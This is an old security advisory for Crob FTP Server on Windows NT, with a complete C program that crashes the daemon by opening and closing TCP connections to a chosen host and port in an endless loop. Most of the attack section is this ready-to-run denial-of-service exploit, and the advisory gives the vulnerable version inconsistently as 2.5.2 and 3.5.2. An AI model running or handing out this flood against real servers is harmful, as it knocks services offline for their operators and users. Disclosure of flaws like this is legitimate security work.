crobftp.txt

`  
  
Application: Crob FTP daemon  
http://www.crob.net/en/  
Versions: 2.5.2 maybe others  
Platforms: Windows NT  
Bug: Denial of Service  
Exploitation: remote  
Date: 12 Feb 2004  
Author: gsicht  
e-mail: [email protected]  
  
#######################################################################  
1) Introduction  
2) Bug  
3) The Code  
#######################################################################  
===============  
1) Introduction  
===============  
Quoute from the crob ftp's website:  
"Crob Software Studio is a professional and innovative Internet software developing team.   
With incessant endeavor. Now we have Crob FTP Server. A professional FTP Service solution."  
  
#######################################################################  
======  
2) Bug  
======  
Crob FTP Server 3.5.2 is vulnerable to a Denial of Service attack. The connecting and disconnecting to the server leads to the crash of  
the daemon.  
#######################################################################  
===========  
3) The Code  
===========  
/******************************/  
#include <stdio.h>  
#include <unistd.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
  
int main(int argc, char *argv[])  
{  
  
int s;  
struct sockaddr_in target;  
  
if(argc < 2)  
{  
printf("Usage: %s HOST [PORT]\n\n",argv[0]);  
return 0;  
}  
  
do  
{  
s = socket(AF_INET, SOCK_STREAM, 0);  
target.sin_family = AF_INET;  
target.sin_port = htons(atoi(argv[2]));  
target.sin_addr.s_addr = inet_addr(argv[1]);  
  
printf("- connecting...\n");  
  
if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)  
{  
printf(" connect() error!\n\n");  
exit(-1);  
}  
  
printf(" connected\n");  
printf(" closing connection\n");  
close(s);  
}  
while(1);  
return 0;  
}  
/*******************************/  
#######################################################################  
`